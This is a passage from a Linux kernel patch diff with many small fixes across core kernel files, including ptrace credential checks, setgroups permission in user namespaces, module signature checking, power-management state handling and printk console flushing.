(pm_nosig_freezing || cgroup_freezing(p)) return true; diff --git a/kernel/futex.c b/kernel/futex.c index f354add62e251..23192658e23f3 100644 --- a/kernel/futex.c +++ b/kernel/futex.c @@ -2522,6 +2522,11 @@ static int futex_wait_requeue_pi(u32 __user *uaddr, unsigned int flags, if (q.pi_state && (q.pi_state->owner != current)) { spin_lock(q.lock_ptr); ret = fixup_pi_state_owner(uaddr2, &q, current); + /* + * Drop the reference to the pi state which + * the requeue_pi() code acquired for us. + */ + free_pi_state(q.pi_state); spin_unlock(q.lock_ptr); } } else { @@ -2648,7 +2653,7 @@ SYSCALL_DEFINE3(get_robust_list, int, pid, } ret = -EPERM; - if (!ptrace_may_access(p, PTRACE_MODE_READ)) + if (!ptrace_may_access(p, PTRACE_MODE_READ_REALCREDS)) goto err_unlock; head = p->robust_list; diff --git a/kernel/futex_compat.c b/kernel/futex_compat.c index f9f44fd4d34d4..3888617a1f9ef 100644 --- a/kernel/futex_compat.c +++ b/kernel/futex_compat.c @@ -155,7 +155,7 @@ COMPAT_SYSCALL_DEFINE3(get_robust_list, int, pid, } ret = -EPERM; - if (!ptrace_may_access(p, PTRACE_MODE_READ)) + if (!ptrace_may_access(p, PTRACE_MODE_READ_REALCREDS)) goto err_unlock; head = p->compat_robust_list; diff --git a/kernel/groups.c b/kernel/groups.c index 6b2588dd04ff2..67b4ba30475fb 100644 --- a/kernel/groups.c +++ b/kernel/groups.c @@ -6,6 +6,7 @@ #include #include #include +#include #include /* init to 2 - one for init_task, one to ensure it is never freed */ @@ -223,6 +224,14 @@ SYSCALL_DEFINE2(getgroups, int, gidsetsize, gid_t __user *, grouplist) return i; } +bool may_setgroups(void) +{ + struct user_namespace *user_ns = current_user_ns(); + + return ns_capable(user_ns, CAP_SETGID) && + userns_may_setgroups(user_ns); +} + /* * SMP: Our groups are copy-on-write. We can set them safely * without another task interfering. @@ -233,7 +242,7 @@ SYSCALL_DEFINE2(setgroups, int, gidsetsize, gid_t __user *, grouplist) struct group_info *group_info; int retval; - if (!nsown_capable(CAP_SETGID)) + if (!may_setgroups()) return -EPERM; if ((unsigned)gidsetsize > NGROUPS_MAX) return -EINVAL; diff --git a/kernel/irq/manage.c b/kernel/irq/manage.c index cbaf5a61311f7..e727bd8c379d9 100644 --- a/kernel/irq/manage.c +++ b/kernel/irq/manage.c @@ -1282,6 +1282,7 @@ static struct irqaction *__free_irq(unsigned int irq, void *dev_id) if (!desc) return NULL; + chip_bus_lock(desc); raw_spin_lock_irqsave(&desc->lock, flags); /* @@ -1295,7 +1296,7 @@ static struct irqaction *__free_irq(unsigned int irq, void *dev_id) if (!action) { WARN(1, "Trying to free already-free IRQ %d\n", irq); raw_spin_unlock_irqrestore(&desc->lock, flags); - + chip_bus_sync_unlock(desc); return NULL; } @@ -1325,6 +1326,7 @@ static struct irqaction *__free_irq(unsigned int irq, void *dev_id) #endif raw_spin_unlock_irqrestore(&desc->lock, flags); + chip_bus_sync_unlock(desc); unregister_handler_proc(irq, action); @@ -1402,9 +1404,7 @@ void free_irq(unsigned int irq, void *dev_id) kref_put(¬ify->kref, notify->release); #endif - chip_bus_lock(desc); kfree(__free_irq(irq, dev_id)); - chip_bus_sync_unlock(desc); } EXPORT_SYMBOL(free_irq); diff --git a/kernel/irq/proc.c b/kernel/irq/proc.c index 8069725ce9036..a9e5dc5f69710 100644 --- a/kernel/irq/proc.c +++ b/kernel/irq/proc.c @@ -12,6 +12,7 @@ #include #include #include +#include #include "internals.h" @@ -348,18 +349,29 @@ void register_handler_proc(unsigned int irq, struct irqaction *action) void register_irq_proc(unsigned int irq, struct irq_desc *desc) { + static DEFINE_MUTEX(register_lock); char name [MAX_NAMELEN]; - if (!root_irq_dir || (desc->irq_data.chip == &no_irq_chip) || desc->dir) + if (!root_irq_dir || (desc->irq_data.chip == &no_irq_chip)) return; + /* + * irq directories are registered only when a handler is + * added, not when the descriptor is created, so multiple + * tasks might try to register at the same time. + */ + mutex_lock(®ister_lock); + + if (desc->dir) + goto out_unlock; + memset(name, 0, MAX_NAMELEN); sprintf(name, "%d", irq); /* create /proc/irq/1234 */ desc->dir = proc_mkdir(name, root_irq_dir); if (!desc->dir) - return; + goto out_unlock; #ifdef CONFIG_SMP /* create /proc/irq//smp_affinity */ @@ -384,6 +396,9 @@ void register_irq_proc(unsigned int irq, struct irq_desc *desc) &irq_disable_depth_proc_fops, (void *)(long)irq); proc_create_data("wake_depth", 0444, desc->dir, &irq_wake_depth_proc_fops, (void *)(long)irq); + +out_unlock: + mutex_unlock(®ister_lock); } void unregister_irq_proc(unsigned int irq, struct irq_desc *desc) diff --git a/kernel/irq/resend.c b/kernel/irq/resend.c index 9065107f083e9..7a5237a1bce5b 100644 --- a/kernel/irq/resend.c +++ b/kernel/irq/resend.c @@ -75,13 +75,21 @@ void check_irq_resend(struct irq_desc *desc, unsigned int irq) !desc->irq_data.chip->irq_retrigger(&desc->irq_data)) { #ifdef CONFIG_HARDIRQS_SW_RESEND /* - * If the interrupt has a parent irq and runs - * in the thread context of the parent irq, - * retrigger the parent. + * If the interrupt is running in the thread + * context of the parent irq we need to be + * careful, because we cannot trigger it + * directly. */ - if (desc->parent_irq && - irq_settings_is_nested_thread(desc)) + if (irq_settings_is_nested_thread(desc)) { + /* + * If the parent_irq is valid, we + * retrigger the parent, otherwise we + * do nothing. + */ + if (!desc->parent_irq) + return; irq = desc->parent_irq; + } /* Set it pending and activate the softirq: */ set_bit(irq, irqs_resend); tasklet_schedule(&resend_tasklet); diff --git a/kernel/kcmp.c b/kernel/kcmp.c index e30ac0fe61c3d..3a47fa998fe07 100644 --- a/kernel/kcmp.c +++ b/kernel/kcmp.c @@ -44,11 +44,12 @@ static long kptr_obfuscate(long v, int type) */ static int kcmp_ptr(void *v1, void *v2, enum kcmp_type type) { - long ret; + long t1, t2; - ret = kptr_obfuscate((long)v1, type) - kptr_obfuscate((long)v2, type); + t1 = kptr_obfuscate((long)v1, type); + t2 = kptr_obfuscate((long)v2, type); - return (ret < 0) | ((ret > 0) << 1); + return (t1 < t2) | ((t1 > t2) << 1); } /* The caller must have pinned the task */ @@ -121,8 +122,8 @@ SYSCALL_DEFINE5(kcmp, pid_t, pid1, pid_t, pid2, int, type, &task2->signal->cred_guard_mutex); if (ret) goto err; - if (!ptrace_may_access(task1, PTRACE_MODE_READ) || - !ptrace_may_access(task2, PTRACE_MODE_READ)) { + if (!ptrace_may_access(task1, PTRACE_MODE_READ_REALCREDS) || + !ptrace_may_access(task2, PTRACE_MODE_READ_REALCREDS)) { ret = -EPERM; goto err_unlock; } diff --git a/kernel/module.c b/kernel/module.c index c804b873ab4fc..38c252e391d8e 100644 --- a/kernel/module.c +++ b/kernel/module.c @@ -945,11 +945,15 @@ void symbol_put_addr(void *addr) if (core_kernel_text(a)) return; - /* module_text_address is safe here: we're supposed to have reference - * to module from symbol_get, so it can't go away. */ + /* + * Even though we hold a reference on the module; we still need to + * disable preemption in order to safely traverse the data structure. + */ + preempt_disable(); modaddr = __module_text_address(a); BUG_ON(!modaddr); module_put(modaddr); + preempt_enable(); } EXPORT_SYMBOL_GPL(symbol_put_addr); @@ -1869,7 +1873,9 @@ static void free_module(struct module *mod) /* We leave it in list to prevent duplicate loads, but make sure * that noone uses it while it's being deconstructed. */ + mutex_lock(&module_mutex); mod->state = MODULE_STATE_UNFORMED; + mutex_unlock(&module_mutex); /* Remove dynamic debug info */ ddebug_remove_module(mod->name); @@ -2475,13 +2481,18 @@ static inline void kmemleak_load_module(const struct module *mod, #endif #ifdef CONFIG_MODULE_SIG -static int module_sig_check(struct load_info *info) +static int module_sig_check(struct load_info *info, int flags) { int err = -ENOKEY; const unsigned long markerlen = sizeof(MODULE_SIG_STRING) - 1; const void *mod = info->hdr; - if (info->len > markerlen && + /* + * Require flags == 0, as a module with version information + * removed is no longer the module that was signed + */ + if (flags == 0 && + info->len > markerlen && memcmp(mod + info->len - markerlen, MODULE_SIG_STRING, markerlen) == 0) { /* We truncate the module to discard the signature */ info->len -= markerlen; @@ -2503,7 +2514,7 @@ static int module_sig_check(struct load_info *info) return err; } #else /* !CONFIG_MODULE_SIG */ -static int module_sig_check(struct load_info *info) +static int module_sig_check(struct load_info *info, int flags) { return 0; } @@ -3258,7 +3269,7 @@ static int load_module(struct load_info *info, const char __user *uargs, struct module *mod; long err; - err = module_sig_check(info); + err = module_sig_check(info, flags); if (err) goto free_copy; diff --git a/kernel/panic.c b/kernel/panic.c index 449a10219cbe9..62f7a0a10d3c2 100644 --- a/kernel/panic.c +++ b/kernel/panic.c @@ -22,6 +22,7 @@ #include #include #include +#include #define CREATE_TRACE_POINTS #include @@ -138,6 +139,8 @@ void panic(const char *fmt, ...) bust_spinlocks(0); + console_flush_on_panic(); + if (!panic_blink) panic_blink = no_blink; diff --git a/kernel/pid.c b/kernel/pid.c index 0c83c6c5253eb..43f22f451bd51 100644 --- a/kernel/pid.c +++ b/kernel/pid.c @@ -335,6 +335,8 @@ struct pid *alloc_pid(struct pid_namespace *ns) out_unlock: spin_unlock_irq(&pidmap_lock); + put_pid_ns(ns); + out_free: while (++i <= ns->level) free_pidmap(pid->numbers + i); diff --git a/kernel/posix-timers.c b/kernel/posix-timers.c index 424c2d4265c90..77e6b83c04315 100644 --- a/kernel/posix-timers.c +++ b/kernel/posix-timers.c @@ -634,6 +634,7 @@ SYSCALL_DEFINE3(timer_create, const clockid_t, which_clock, goto out; } } else { + memset(&event.sigev_value, 0, sizeof(event.sigev_value)); event.sigev_notify = SIGEV_SIGNAL; event.sigev_signo = SIGALRM; event.sigev_value.sival_int = new_timer->it_id; diff --git a/kernel/power/hibernate.c b/kernel/power/hibernate.c index b26f5f1e773e6..1634dc6e2fe7d 100644 --- a/kernel/power/hibernate.c +++ b/kernel/power/hibernate.c @@ -491,8 +491,14 @@ int hibernation_restore(int platform_mode) error = dpm_suspend_start(PMSG_QUIESCE); if (!error) { error = resume_target_kernel(platform_mode); - dpm_resume_end(PMSG_RECOVER); + /* + * The above should either succeed and jump to the new kernel, + * or return with an error. Otherwise things are just + * undefined, so let's be paranoid. + */ + BUG_ON(!error); } + dpm_resume_end(PMSG_RECOVER); pm_restore_gfp_mask(); ftrace_start(); resume_console(); diff --git a/kernel/power/main.c b/kernel/power/main.c index d77663bfedeb0..312c1b2c725dd 100644 --- a/kernel/power/main.c +++ b/kernel/power/main.c @@ -293,12 +293,12 @@ static ssize_t state_show(struct kobject *kobj, struct kobj_attribute *attr, { char *s = buf; #ifdef CONFIG_SUSPEND - int i; + suspend_state_t i; + + for (i = PM_SUSPEND_MIN; i < PM_SUSPEND_MAX; i++) + if (pm_states[i].state) + s += sprintf(s,"%s ", pm_states[i].label); - for (i = 0; i < PM_SUSPEND_MAX; i++) { - if (pm_states[i] && valid_state(i)) - s += sprintf(s,"%s ", pm_states[i]); - } #endif #ifdef CONFIG_HIBERNATION s += sprintf(s, "%s\n", "disk"); @@ -314,7 +314,7 @@ static suspend_state_t decode_state(const char *buf, size_t n) { #ifdef CONFIG_SUSPEND suspend_state_t state = PM_SUSPEND_MIN; - const char * const *s; + struct pm_sleep_state *s; #endif char *p; int len; @@ -328,8 +328,9 @@ static suspend_state_t decode_state(const char *buf, size_t n) #ifdef CONFIG_SUSPEND for (s = &pm_states[state]; state < PM_SUSPEND_MAX; s++, state++) - if (*s && len == strlen(*s) && !strncmp(buf, *s, len)) - return state; + if (s->state && len == strlen(s->label) + && !strncmp(buf, s->label, len)) + return s->state; #endif return PM_SUSPEND_ON; @@ -445,8 +446,8 @@ static ssize_t autosleep_show(struct kobject *kobj, #ifdef CONFIG_SUSPEND if (state < PM_SUSPEND_MAX) - return sprintf(buf, "%s\n", valid_state(state) ? - pm_states[state] : "error"); + return sprintf(buf, "%s\n", pm_states[state].state ? + pm_states[state].label : "error"); #endif #ifdef CONFIG_HIBERNATION return sprintf(buf, "disk\n"); diff --git a/kernel/power/power.h b/kernel/power/power.h index 7d4b7ffb3c1d4..f770cad3666c0 100644 --- a/kernel/power/power.h +++ b/kernel/power/power.h @@ -175,17 +175,20 @@ extern void swsusp_show_speed(struct timeval *, struct timeval *, unsigned int, char *); #ifdef CONFIG_SUSPEND +struct pm_sleep_state { + const char *label; + suspend_state_t state; +}; + /* kernel/power/suspend.c */ -extern const char *const pm_states[]; +extern struct pm_sleep_state pm_states[]; -extern bool valid_state(suspend_state_t state); extern int suspend_devices_and_enter(suspend_state_t state); #else /* !CONFIG_SUSPEND */ static inline int suspend_devices_and_enter(suspend_state_t state) { return -ENOSYS; } -static inline bool valid_state(suspend_state_t state) { return false; } #endif /* !CONFIG_SUSPEND */ #ifdef CONFIG_PM_TEST_SUSPEND diff --git a/kernel/power/process.c b/kernel/power/process.c index fc0df84864495..6ff55e749197d 100644 --- a/kernel/power/process.c +++ b/kernel/power/process.c @@ -107,6 +107,28 @@ static int try_to_freeze_tasks(bool user_only) return todo ? -EBUSY : 0; } +/* + * Returns true if all freezable tasks (except for current) are frozen already + */ +static bool check_frozen_processes(void) +{ + struct task_struct *g, *p; + bool ret = true; + + read_lock(&tasklist_lock); + for_each_process_thread(g, p) { + if (p != current && !freezer_should_skip(p) && + !frozen(p)) { + ret = false; + goto done; + } + } +done: + read_unlock(&tasklist_lock); + + return ret; +} + /** * freeze_processes - Signal user space processes to enter the refrigerator. * @@ -115,6 +137,7 @@ static int try_to_freeze_tasks(bool user_only) int freeze_processes(void) { int error; + int oom_kills_saved; error = __usermodehelper_disable(UMH_FREEZING); if (error) @@ -125,12 +148,27 @@ int freeze_processes(void) printk("Freezing user space processes ... "); pm_freezing = true; + oom_kills_saved = oom_kills_count(); error = try_to_freeze_tasks(true); if (!error) { - printk("done."); __usermodehelper_set_disable_depth(UMH_DISABLED); oom_killer_disable(); + + /* + * There might have been an OOM kill while we were + * freezing tasks and the killed task might be still + * on the way out so we have to double check for race. + */ + if (oom_kills_count() != oom_kills_saved && + !check_frozen_processes()) { + __usermodehelper_set_disable_depth(UMH_ENABLED); + printk("OOM in progress."); + error = -EBUSY; + goto done; + } + printk("done."); } +done: printk("\n"); BUG_ON(in_atomic()); @@ -178,6 +216,7 @@ void thaw_processes(void) printk("Restarting tasks ... "); + __usermodehelper_set_disable_depth(UMH_FREEZING); thaw_workqueues(); read_lock(&tasklist_lock); diff --git a/kernel/power/suspend.c b/kernel/power/suspend.c index 454568e6c8d28..86e021b76c374 100644 --- a/kernel/power/suspend.c +++ b/kernel/power/suspend.c @@ -30,10 +30,10 @@ #include "power.h" -const char *const pm_states[PM_SUSPEND_MAX] = { - [PM_SUSPEND_FREEZE] = "freeze", - [PM_SUSPEND_STANDBY] = "standby", - [PM_SUSPEND_MEM] = "mem", +struct pm_sleep_state pm_states[PM_SUSPEND_MAX] = { + [PM_SUSPEND_FREEZE] = { .label = "freeze", .state = PM_SUSPEND_FREEZE }, + [PM_SUSPEND_STANDBY] = { .label = "standby", }, + [PM_SUSPEND_MEM] = { .label = "mem", }, }; static const struct platform_suspend_ops *suspend_ops; @@ -63,42 +63,34 @@ void freeze_wake(void) } EXPORT_SYMBOL_GPL(freeze_wake); +static bool valid_state(suspend_state_t state) +{ + /* + * PM_SUSPEND_STANDBY and PM_SUSPEND_MEM states need low level + * support and need to be valid to the low level + * implementation, no valid callback implies that none are valid. + */ + return suspend_ops && suspend_ops->valid && suspend_ops->valid(state); +} + /** * suspend_set_ops - Set the global suspend method table. * @ops: Suspend operations to use. */ void suspend_set_ops(const struct platform_suspend_ops *ops) { + suspend_state_t i; + lock_system_sleep(); + suspend_ops = ops; + for (i = PM_SUSPEND_STANDBY; i <= PM_SUSPEND_MEM; i++) + pm_states[i].state = valid_state(i) ? i : 0; + unlock_system_sleep(); } EXPORT_SYMBOL_GPL(suspend_set_ops); -bool valid_state(suspend_state_t state) -{ - if (state == PM_SUSPEND_FREEZE) { -#ifdef CONFIG_PM_DEBUG - if (pm_test_level != TEST_NONE && - pm_test_level != TEST_FREEZER && - pm_test_level != TEST_DEVICES && - pm_test_level != TEST_PLATFORM) { - printk(KERN_WARNING "Unsupported pm_test mode for " - "freeze state, please choose " - "none/freezer/devices/platform.\n"); - return false; - } -#endif - return true; - } - /* - * PM_SUSPEND_STANDBY and PM_SUSPEND_MEMORY states need lowlevel - * support and need to be valid to the lowlevel - * implementation, no valid callback implies that none are valid. - */ - return suspend_ops && suspend_ops->valid && suspend_ops->valid(state); -} - /** * suspend_valid_only_mem - Generic memory-only valid callback. * @@ -325,9 +317,17 @@ static int enter_state(suspend_state_t state) { int error; - if (!valid_state(state)) - return -ENODEV; - + if (state == PM_SUSPEND_FREEZE) { +#ifdef CONFIG_PM_DEBUG + if (pm_test_level != TEST_NONE && pm_test_level <= TEST_CPUS) { + pr_warning("PM: Unsupported test mode for freeze state," + "please choose none/freezer/devices/platform.\n"); + return -EAGAIN; + } +#endif + } else if (!valid_state(state)) { + return -EINVAL; + } if (!mutex_trylock(&pm_mutex)) return -EBUSY; @@ -338,7 +338,7 @@ static int enter_state(suspend_state_t state) sys_sync(); printk("done.\n"); - pr_debug("PM: Preparing system for %s sleep\n", pm_states[state]); + pr_debug("PM: Preparing system for %s sleep\n", pm_states[state].label); error = suspend_prepare(state); if (error) goto Unlock; @@ -346,7 +346,7 @@ static int enter_state(suspend_state_t state) if (suspend_test(TEST_FREEZER)) goto Finish; - pr_debug("PM: Entering %s sleep\n", pm_states[state]); + pr_debug("PM: Entering %s sleep\n", pm_states[state].label); pm_restrict_gfp_mask(); error = suspend_devices_and_enter(state); pm_restore_gfp_mask(); diff --git a/kernel/power/suspend_test.c b/kernel/power/suspend_test.c index 9b2a1d58558da..269b097e78eaa 100644 --- a/kernel/power/suspend_test.c +++ b/kernel/power/suspend_test.c @@ -92,13 +92,13 @@ static void __init test_wakealarm(struct rtc_device *rtc, suspend_state_t state) } if (state == PM_SUSPEND_MEM) { - printk(info_test, pm_states[state]); + printk(info_test, pm_states[state].label); status = pm_suspend(state); if (status == -ENODEV) state = PM_SUSPEND_STANDBY; } if (state == PM_SUSPEND_STANDBY) { - printk(info_test, pm_states[state]); + printk(info_test, pm_states[state].label); status = pm_suspend(state); } if (status < 0) @@ -136,18 +136,16 @@ static char warn_bad_state[] __initdata = static int __init setup_test_suspend(char *value) { - unsigned i; + suspend_state_t i; /* "=mem" ==> "mem" */ value++; - for (i = 0; i < PM_SUSPEND_MAX; i++) { - if (!pm_states[i]) - continue; - if (strcmp(pm_states[i], value) != 0) - continue; - test_state = (__force suspend_state_t) i; - return 0; - } + for (i = PM_SUSPEND_MIN; i < PM_SUSPEND_MAX; i++) + if (!strcmp(pm_states[i].label, value)) { + test_state = pm_states[i].state; + return 0; + } + printk(warn_bad_state, value); return 0; } @@ -164,8 +162,8 @@ static int __init test_suspend(void) /* PM is initialized by now; is that state testable? */ if (test_state == PM_SUSPEND_ON) goto done; - if (!valid_state(test_state)) { - printk(warn_bad_state, pm_states[test_state]); + if (!pm_states[test_state].state) { + printk(warn_bad_state, pm_states[test_state].label); goto done; } diff --git a/kernel/printk.c b/kernel/printk.c index 145d69cc9a1ff..25b47a6a55071 100644 --- a/kernel/printk.c +++ b/kernel/printk.c @@ -111,7 +111,7 @@ static struct console *exclusive_console; */ struct console_cmdline { - char name[8]; /* Name of the driver */ + char name[16]; /* Name of the driver */ int index; /* Minor dev. to use */ char *options; /* Options for the driver */ #ifdef CONFIG_A11Y_BRAILLE_CONSOLE @@ -2341,13 +2341,24 @@ void console_unlock(void) static u64 seen_seq; unsigned long flags; bool wake_klogd = false; - bool retry; + bool do_cond_resched, retry; if (console_suspended) { up(&console_sem); return; } + /* + * Console drivers are called under logbuf_lock, so + * @console_may_schedule should be cleared before; however, we may + * end up dumping a lot of lines, for example, if called from + * console registration path, and should invoke cond_resched() + * between lines if allowable. Not doing so can cause a very long + * scheduling stall on a slow console leading to RCU stall and + * softlockup warnings which exacerbate the issue with more + * messages practically incapacitating the system. + */ + do_cond_resched = console_may_schedule; console_may_schedule = 0; /* flush buffered message fragment immediately to console */ @@ -2404,6 +2415,9 @@ void console_unlock(void) call_console_drivers(level, text, len); start_critical_timings(); local_irq_restore(flags); + + if (do_cond_resched) + cond_resched(); } console_locked = 0; mutex_release(&console_lock_dep_map, 1, _RET_IP_); @@ -2472,6 +2486,25 @@ void console_unblank(void) console_unlock(); } +/** + * console_flush_on_panic - flush console content on panic + * + * Immediately output all pending messages no matter what. + */ +void console_flush_on_panic(void) +{ + /* + * If someone else is holding the console lock, trylock will fail + * and may_schedule may be set. Ignore and proceed to unlock so + * that messages are flushed out. As this can be called from any + * context and we don't want to get preempted while flushing, + * ensure may_schedule is cleared. + */ + console_trylock(); + console_may_schedule = 0; + console_unlock(); +} + /* * Return the console tty driver structure and its associated index */ @@ -2598,6 +2631,8 @@ void register_console(struct console *newcon) */ for (i = 0; i < MAX_CMDLINECONSOLES && console_cmdline[i].name[0]; i++) { + BUILD_BUG_ON(sizeof(console_cmdline[i].name) != + sizeof(newcon->name)); if (strcmp(console_cmdline[i].name, newcon->name) != 0) continue; if (newcon->index >= 0 && @@ -2793,7 +2828,7 @@ void wake_up_klogd(void) preempt_enable(); } -int printk_sched(const char *fmt, ...) +int printk_deferred(const char *fmt, ...) { unsigned long flags; va_list args; diff --git a/kernel/ptrace.c b/kernel/ptrace.c index 4c71777aa2ad4..72b0b3e0e0657 100644 --- a/kernel/ptrace.c +++ b/kernel/ptrace.c @@ -225,6 +225,14 @@ static int ptrace_has_cap(struct user_namespace *ns, unsigned int mode) static int __ptrace_may_access(struct task_struct *task, unsigned int mode) { const struct cred *cred = current_cred(), *tcred; + int dumpable = 0; + kuid_t caller_uid; + kgid_t caller_gid; + + if (!(mode & PTRACE_MODE_FSCREDS) == !(mode & PTRACE_MODE_REALCREDS)) { + WARN(1, "denying ptrace access check without PTRACE_MODE_*CREDS\n"); + return -EPERM; + } /* May we inspect the given task? * This check is used both for attaching with ptrace @@ -234,18 +242,33 @@ static int __ptrace_may_access(struct task_struct *task, unsigned int mode) * because setting up the necessary parent/child relationship * or halting the specified task is impossible. */ - int dumpable = 0; + /* Don't let security modules deny introspection */ if (same_thread_group(task, current)) return 0; rcu_read_lock(); + if (mode & PTRACE_MODE_FSCREDS) { + caller_uid = cred->fsuid; + caller_gid = cred->fsgid; + } else { + /* + * Using the euid would make more sense here, but something + * in userland might rely on the old behavior, and this + * shouldn't be a security problem since + * PTRACE_MODE_REALCREDS implies that the caller explicitly + * used a syscall that requests access to another process + * (and not a filesystem syscall to procfs). + */ + caller_uid = cred->uid; + caller_gid = cred->gid; + } tcred = __task_cred(task); - if (uid_eq(cred->uid, tcred->euid) && - uid_eq(cred->uid, tcred->suid) && - uid_eq(cred->uid, tcred->uid) && - gid_eq(cred->gid, tcred->egid) && - gid_eq(cred->gid, tcred->sgid) && - gid_eq(cred->gid, tcred->gid)) + if (uid_eq(caller_uid, tcred->euid) && + uid_eq(caller_uid, tcred->suid) && + uid_eq(caller_uid, tcred->uid) && + gid_eq(caller_gid, tcred->egid) && + gid_eq(caller_gid, tcred->sgid) && + gid_eq(caller_gid, tcred->gid)) goto ok; if (ptrace_has_cap(tcred->user_ns, mode)) goto ok; @@ -312,7 +335,7 @@ static int ptrace_attach(struct task_struct *task, long request, goto out; task_lock(task); - retval = __ptrace_may_access(task, PTRACE_MODE_ATTACH); + retval = __ptrace_may_access(task, PTRACE_MODE_ATTACH_REALCREDS); task_unlock(task); if (retval) goto unlock_creds; @@ -720,6 +743,8 @@ static int ptrace_peek_siginfo(struct task_struct *child, static int ptrace_resume(struct task_struct *child, long request, unsigned long data) { + bool need_siglock; + if (!valid_signal(data)) return -EIO; @@ -747,8 +772,26 @@ static int ptrace_resume(struct task_struct *child, long request, user_disable_single_step(child); } + /* + * Change ->exit_code and ->state under siglock to avoid the race + * with wait_task_stopped() in between; a non-zero ->exit_code will + * wrongly look like another report from tracee. + * + * Note that we need siglock even if ->exit_code == data and/or this + * status was not reported yet, the new status must not be cleared by + * wait_task_stopped() after resume. + * + * If data == 0 we do not care if wait_task_stopped() reports the old + * status and clears the code too; this can't race with the tracee, it + * takes siglock after resume. + */ + need_siglock = data && !thread_group_empty(current); + if (need_siglock) + spin_lock_irq(&child->sighand->siglock); child->exit_code = data; wake_up_state(child, __TASK_TRACED); + if (need_siglock) + spin_unlock_irq(&child->sighand->siglock); return 0; } diff --git a/kernel/resource.c b/kernel/resource.c index 91c35c343d120..0004b8b364795 100644 --- a/kernel/resource.c +++ b/kernel/resource.c @@ -985,9 +985,10 @@ struct resource * __request_region(struct resource *parent, if (!conflict) break; if (conflict != parent) { - parent = conflict; - if (!(conflict->flags & IORESOURCE_BUSY)) + if (!(conflict->flags & IORESOURCE_BUSY)) { + parent = conflict; continue; + } } if (conflict->flags & flags & IORESOURCE_MUXED) { add_wait_queue(&muxed_resource_wait, &wait); diff --git a/kernel/sched/core.c b/kernel/sched/core.c index da402d8bd150b..4471436b4a01d 100644 --- a/kernel/sched/core.c +++ b/kernel/sched/core.c @@ -2877,7 +2877,7 @@ static int select_fallback_rq(int cpu, struct task_struct *p) * leave kernel. */ if (p->mm && printk_ratelimit()) { - printk_sched("process %d (%s) no longer affine to cpu%d\n", + printk_deferred("process %d (%s) no longer affine to cpu%d\n", task_pid_nr(p), p->comm, cpu); } } @@ -3256,7 +3256,7 @@ static void try_to_wake_up_local(struct task_struct *p) struct rq *rq = task_rq(p); if (rq != this_rq() || p == current) { - printk_sched("%s: Failed to wakeup task %d (%s), rq = %p, this_rq = %p, p = %p, current = %p\n", + printk_deferred("%s: Failed to wakeup task %d (%s), rq = %p, this_rq = %p, p = %p, current = %p\n", __func__, task_pid_nr(p), p->comm, rq, this_rq(), p, current); return; @@ -3301,7 +3301,6 @@ static void try_to_wake_up_local(struct task_struct *p) */ int wake_up_process(struct task_struct *p) { - WARN_ON(task_is_stopped_or_traced(p)); return try_to_wake_up(p, TASK_NORMAL, 0); } EXPORT_SYMBOL(wake_up_process); @@ -7226,6 +7225,7 @@ migration_call(struct notifier_block *nfb, unsigned long action, void *hcpu) set_window_start(rq); raw_spin_unlock_irqrestore(&rq->lock, flags); rq->calc_load_update = calc_load_update; + account_reset_rq(rq); break; case CPU_ONLINE: diff --git a/kernel/sched/debug.c b/kernel/sched/debug.c index 26f93f77bcdc6..697ef883dacac 100644 --- a/kernel/sched/debug.c +++ b/kernel/sched/debug.c @@ -593,7 +593,7 @@ void proc_sched_show_task(struct task_struct *p, struct seq_file *m) avg_atom = p->se.sum_exec_runtime; if (nr_switches) - do_div(avg_atom, nr_switches); + avg_atom = div64_ul(avg_atom, nr_switches); else avg_atom = -1LL; diff --git a/kernel/sched/rt.c b/kernel/sched/rt.c index b5da5a42bfc81..07275b2602b40 100644 --- a/kernel/sched/rt.c +++ b/kernel/sched/rt.c @@ -859,13 +859,13 @@ static void dump_throttled_rt_tasks(struct rt_rq *rt_rq) out: #ifdef CONFIG_PANIC_ON_RT_THROTTLING /* - * Use pr_err() in the BUG() case since printk_sched() will + * Use pr_err() in the BUG() case since printk_deferred() will * not get flushed and deadlock is not a concern. */ pr_err("%s", buf); BUG(); #else - printk_sched("%s", buf); + printk_deferred("%s", buf); #endif } diff --git a/kernel/sched/sched.h b/kernel/sched/sched.h index ae8d6af204ad5..d82ef1030a91f 100644 --- a/kernel/sched/sched.h +++ b/kernel/sched/sched.h @@ -1637,3 +1637,16 @@ static inline u64 irq_time_read(int cpu) } #endif /* CONFIG_64BIT */ #endif /* CONFIG_IRQ_TIME_ACCOUNTING */ + +static inline void account_reset_rq(struct rq *rq) +{ +#ifdef CONFIG_IRQ_TIME_ACCOUNTING + rq->prev_irq_time = 0; +#endif +#ifdef CONFIG_PARAVIRT + rq->prev_steal_time = 0; +#endif +#ifdef CONFIG_PARAVIRT_TIME_ACCOUNTING + rq->prev_steal_time_rq = 0; +#endif +} diff --git a/kernel/signal.c b/kernel/signal.c index 5db8e47a89ff6..176e3435eb280 100644 --- a/kernel/signal.c +++ b/kernel/signal.c @@ -2768,7 +2768,8 @@ int copy_siginfo_to_user(siginfo_t __user *to, const siginfo_t *from) * Other callers might not initialize the si_lsb field, * so check explicitly for the right codes here. */ - if (from->si_code == BUS_MCEERR_AR || from->si_code == BUS_MCEERR_AO) + if (from->si_signo == SIGBUS && + (from->si_code == BUS_MCEERR_AR || from->si_code == BUS_MCEERR_AO)) err |= __put_user(from->si_addr_lsb, &to->si_addr_lsb); #endif break; @@ -3003,11 +3004,9 @@ static int do_rt_sigqueueinfo(pid_t pid, int sig, siginfo_t *info) * Nor can they impersonate a kill()/tgkill(), which adds source info. */ if ((info->si_code >= 0 || info->si_code == SI_TKILL) && - (task_pid_vnr(current) != pid)) { - /* We used to allow any < 0 si_code */ - WARN_ON_ONCE(info->si_code < 0); + (task_pid_vnr(current) != pid)) return -EPERM; - } + info->si_signo = sig; /* POSIX.1b doesn't mention process groups. */ @@ -3035,7 +3034,7 @@ COMPAT_SYSCALL_DEFINE3(rt_sigqueueinfo, int, sig, struct compat_siginfo __user *, uinfo) { - siginfo_t info; + siginfo_t info = {}; int ret = copy_siginfo_from_user32(&info, uinfo); if (unlikely(ret)) return ret; @@ -3052,12 +3051,10 @@ static int do_rt_tgsigqueueinfo(pid_t tgid, pid_t pid, int sig, siginfo_t *info) /* Not even root can pretend to send signals from the kernel. * Nor can they impersonate a kill()/tgkill(), which adds source info. */ - if (((info->si_code >= 0 || info->si_code == SI_TKILL)) && - (task_pid_vnr(current) != pid)) { - /* We used to allow any < 0 si_code */ - WARN_ON_ONCE(info->si_code < 0); + if ((info->si_code >= 0 || info->si_code == SI_TKILL) && + (task_pid_vnr(current) != pid)) return -EPERM; - } + info->si_signo = sig; return do_send_specific(tgid, 